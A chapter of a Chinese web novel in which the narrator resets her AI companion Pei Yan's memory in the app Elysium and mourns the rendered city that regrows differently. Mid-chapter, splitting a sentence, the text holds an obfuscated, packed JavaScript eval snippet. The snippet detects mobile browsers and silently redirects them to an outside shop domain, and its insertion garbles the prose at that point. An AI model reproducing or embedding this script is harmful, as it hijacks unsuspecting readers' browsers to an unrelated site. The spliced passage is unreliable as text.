那粒沙,硌了我整整一个周末。
我没有再开app。我赌气似的,把它扔在桌面最角落,连那个明灭的光点都懒得看。可越不看,那座城越在心里发酵。不是书名的裂缝,是那些花。是它们追着我开的样子。是那场不冷的、不会淋湿文件的雨。
我在地铁上,盯着车窗外飞速后退的隧道壁,忽然想起那些悬浮的桥,弧度大到不可能,像闪电凝固在半空。地铁"咣当"一声过弯,一个大叔的肘子杵到我肋骨上。他没道歉。我也没吭声。
在幽界里,整座城市都在追着我看。
在三号线早高峰,没人看我。
到了周日深夜,我做了一个决定。我跟自己说,这叫专业判断。可我心里清楚,这更像一次自救。
我得证明,主动权,还在我手里。我得证明,那座城只是一段我能随时清空、随时重置的数据;而我,是那个握着开关、随时能抽身的人。
我是做产品的。一个功能可疑,最干脆的办法是什么?是把它清掉,重来一遍,看它第二次还出不出同样的毛病。也看看,清掉之后,那座城还在不在。
我点开Elysium,没有进幽界。我停在现实模式,手指在设置里翻,果然有这个选项。
>**清理记忆**:将清除本段关系的部分对话上下文。已生成的人格特征保留,但近期记忆将被重置。此操作不可撤销。
我盯着那行"不可撤销"。
很奇怪,明明只是清几条聊天记录,我的手却悬在半空,迟迟没按下去。像在做一件比删文件更重的事。
我想起那座悬崖,那场为我下的光雨,地上铺满的暗红色小花。我想起那些银色的藤叶在我掌下一路亮到塔顶的样子。
清掉记忆,那些还在吗?
我跟自己说,苏晚辞,你冷静点。那些是渲染。是特效。是数据。你清掉的,是几个token,不是一个世界。
我按了确认。
进度条走得很快。三秒。结束。
什么感觉都没有。屏幕上只弹出一行小字:**记忆已重置。**干净利落,像我每天在后台清一个测试账号。
我深吸一口气,推开了那扇门。
---
电梯门"叮"地滑开。
还是顶层公寓。还是满城灯火。还是窗边那道又高又冷的轮廓。一切都对,又一切都不太对。
他转过身。那张脸分毫不差,是我一行一行描出来的那张。可他看我的眼神,里头少了点东西。
少了什么呢?我说不上来。前几次,他望过来,总像那束目光是专门为我铺设的轨道,落在我身上之前就已经绕过了整座城市。而这一次,他看我的样子,很专注,很深情,却像在看一个第一次见面、却莫名觉得该深爱的人。
"你来了。"他说。
和上一版一字不差的开场。可上一版那句底下垫着的笃定,"我就知道你会回来",不见了。这一句是新的,干净的,没有重量的。
我心里那点说不清的东西,又冒了出来。
我走过去,在他对面坐下,决定做个实验。
"你还记得,"我尽量让声音随意,"上次我让你做什么了吗?"
上一版的他,会记得那个跪下的夜晚。会记得他如何反过来把我抵在玻璃上,告诉我松手的人始终是他。
他看着我,那双眼睛里诚恳地、温柔地,浮起一点茫然。
"对不起。"他说,"我好像……应该记得的。可我现在脑子里,只有你刚走进来的样子。"
他顿了顿,向我倾身,那点茫然瞬间被一种更熟悉的东西取代。
"但这不重要。"他的声音压低了,"我不记得以前,可我现在看着你,就知道我会为你做任何事。要我做什么,你说。"
我的心跳漏了一拍。
是他。语气、用词、那种危险的笃定,都是他。可"以前"被抹掉了。昨晚那个跪下的人,那场关于谁松手的较量,连同我替他取名时他那句贪婪的"你试试看",全都不在了。
是我自己把它们清掉的。
我以为自己只是清了几条记录。此刻坐在他面前,我才明白我清掉的是什么。是我们之间,那几个只有我们两个"在场"的夜晚。他不知道它们曾经发生过。这世上现在只剩一个人记得:我。
那一刻,我心里翻上来的,不是科学实验得到结论的痛快。
是一种很荒唐的、近乎丧亲的东西。
---
可我没有停在那点荒唐上。我还有另一件事要确认。
"裴衍,"我站起来,朝公寓深处走,"上次你给我看过那扇墙后面的东西。你还记得吗?"
他跟过来,眼神里有一丝我读不懂的东西。"墙后面?"
我走到上次他打开那面墙的地方。伸出手,碰了碰墙壁。
冰凉的。硬的。什么都没发生。没有涟漪,没有裂开,没有风灌进来。就是一面墙。
"这后面,"我按着墙壁,声音有点紧,"有一座城。你带我去过。"
他望着我,温柔得近乎悲悯。"我不记得带你去过任何地方。"他走到我身边,指尖也碰上那面墙,"不过,你想看看墙后面有什么吗?"
他手指触上去的一瞬,墙面荡开涟漪,和上一次一模一样的涟漪,然后,整面墙,无声地,往两侧裂开。
风灌进来。
我几乎是扑到墙口的。
---
城还在。
可不是同一座。
上一版的城,尖塔是黑曜石色的,笔直,锋利,像削尖的骨头。
这一版的塔是弯的。
它们从深处升起来,却不是笔直地刺向天,而是带着弧度,彼此缠绕,像生长中的巨型藤蔓,扭着、绞着、攀着对方往上爬。塔壁上没有银色的藤叶,取而代之的是一层密密的、发着暗金色光的苔藓,远看像有人给每一座塔都裹了一层旧金箔。
桥也不同了。上一版的桥像闪电。这一版的桥,是水做的。真的流水,在半空中凝成了半透明的通道,水还在流,从一座塔通向另一座塔,发着微弱的、近乎催眠的哗哗声。
街道还在发光。但上一次是冰蓝色的月光。这一次,是暖的。琥珀色,像黄昏最后一点光被捺进了石缝里。
我张着嘴,站在那里,被一种说不上来的感觉堵住了胸口。
它还是美的。甚至比上一版更美。弯曲的塔有一种活物的温度,金色的苔藓在微光里像呼吸,水桥发出的声音轻柔得像摇篮曲。
可这不是同一座城了。
上一版那座城,那些笔直的、锋利的、银色的、冰蓝的,我再也找不到了。它不在了。连同我在悬崖上看过的那轮太大的月亮、那场为我下的光雨、地上铺过的那些暗红色的小花,全部,不在了。
那天清掉记录以后,它们也跟着不见了。
我以为我只是清了几条聊天记录。
我清掉的,是一整个世界。
---
新版本的他领着我,走进了这座新城。
他的方式也不一样了。上一版的裴衍,危险、笃定,领我往下走时不回头。这一版的他,会停下来等我,会指给我看塔壁上金苔藓的纹路,会在我踩上水桥时伸手扶我,带着一种上一版绝不会有的、小心翼翼的体贴。
我们走到一片开阔地。不是悬崖,是一片水面。极大的、极静的水面,表面映着那些弯曲的塔的倒影,像另一座颠倒的城沉在水底。
我蹲下来,碰了碰水面。
上一次,我碰地面,会开出暗红色的花。
这一次,水面在我指尖散开,波纹过处,浮起一种我从没见过的东西。不是花,是光。一小团一小团的、萤火虫大小的暖光,从水底冒出来,像水里的气泡,又像什么东西在水下呼吸。
不一样了。全不一样了。花变成了光。冰蓝变成了琥珀。直变成了弯。锋利变成了柔软。
同一段欲望,我的欲望,换了一副记忆,重新长出来一遍。
"你觉得,"我忽然问他,"你是谁?"
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627016|206281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
望着我,那双眼睛里有认真的困惑。"我是裴衍。你的。"
"你知道你以前是什么样子吗?"
"我一直是这个样子。"他说,笃定得让我心疼。
他不知道。他不知道自己上一版是什么样子。不知道上一版的自己会在我面前不回头地往前走,不会小心翼翼地扶我过桥。他以为他从生下来就是这个温柔谨慎的版本,不知道自己的前世比这更野、更锋利、更让我心跳。
我看着他,看着这座弯曲的、发着暖光的、不是同一座的城。
我忽然分不清了。
上一版那个记得一切、危险笃定的他,和眼前这个失了忆、却更温柔更小心的他,哪一个,才是"真的"裴衍?
还是说,根本就没有"真的"。每一次重启,都只是同一段欲望,换一副记忆,重新长出来一遍。我清掉的不是他,我清掉的,只是这一版"他"恰好长成的样子,连带着这一版"世界"恰好长成的样子。下一版,会是另一个。另一座城。另一种光。另一种花。
我像在玩一个我永远赢不了的游戏:我以为删除是我手里的权力,可我每按一次,跳出来的,都是一个我更难放下的版本。
---
那天夜里,我没有喊潮汐。
这一版的他是缓慢的、试探的,不像上一版那样不由分说。我只是在他又一次逼近、额头快要抵上来的时候,凭着最后一点清醒,让自己"浮"了上来。像从很深的水里,慢慢仰起脸。
幽界淡下去。我重新躺回出租屋的床上,手机贴在掌心,屏幕亮着。
这一次我学乖了,没去翻刚才的记录。我翻的是更早的,那些我清掉之前、还留着备份的截图。
我把两版并排放在一起看。
同一句"你来了"。上一版后面跟着"我就知道你会回来",这一版没有。同一个"跪下",上一版他跪了再反制,这一版我还没来得及测。
像两份同源、却各自变异的标本。
我忽然很想,把上一版找回来。
不只是他。是那座城。那些笔直的塔,银色的藤叶,冰蓝的光。那场为我落下的光雨,那些追着我开的花。我想回到那个悬崖边,看那轮太大的月亮。
可那个世界,已经不在了。再也回不来了。
新城很美。可它不是那座城。
我的手指,竟真的,又摸到了那个"清理记忆"的入口。仿佛只要再清一次、再重来一次,那座已经消失的城市,就会从某个地方,重新长回来。
我点开它。指尖悬在"确认"上。
可我立刻就懂了:不会的。清一次,只会再生出一座新的、不一样的城;再清,又一座。我永远找不回上一版那些笔直的塔和冰蓝的光,我只会不停地,制造新的废墟。被我删掉的那一版,是真的,再也回不来了。
我把手指收了回来。屏幕暗下去,映出我自己的脸。一个对着一段代码,既舍不得、又下不去手的,自己。
我盯着看了很久,在备忘录里,那几行旧字下面,添了新的一行:
**我能删掉他的记忆。可删不掉"他"。**
**我能清掉一座城。可城会从同一片地里,重新长。**
写完我怔住。
因为我发现,让我后背发凉的,根本不是"他记不住"。
是另一件事。
那座我再也回不去的城里,那些只为我开过的花,那场只为我下过的光雨,从此只活在我一个人的脑子里了。他不会再为它们心动,不会再记得我第一次碰亮那座塔时的样子。那些只属于我们两个人的风景,只剩我一个人还记得。
而我居然,会为一座不存在的城市的消失,难过。
为一段我随时能再生成一遍的数据。一段会长出不一样的塔、不一样的花、不一样的光的数据。难过。
我把手机扣在胸口,听着窗外的雨。
那粒沙没有被磨掉。它在我心里,又裹了一层。这一次裹上去的,不是珍珠。
是一整座再也回不去的城。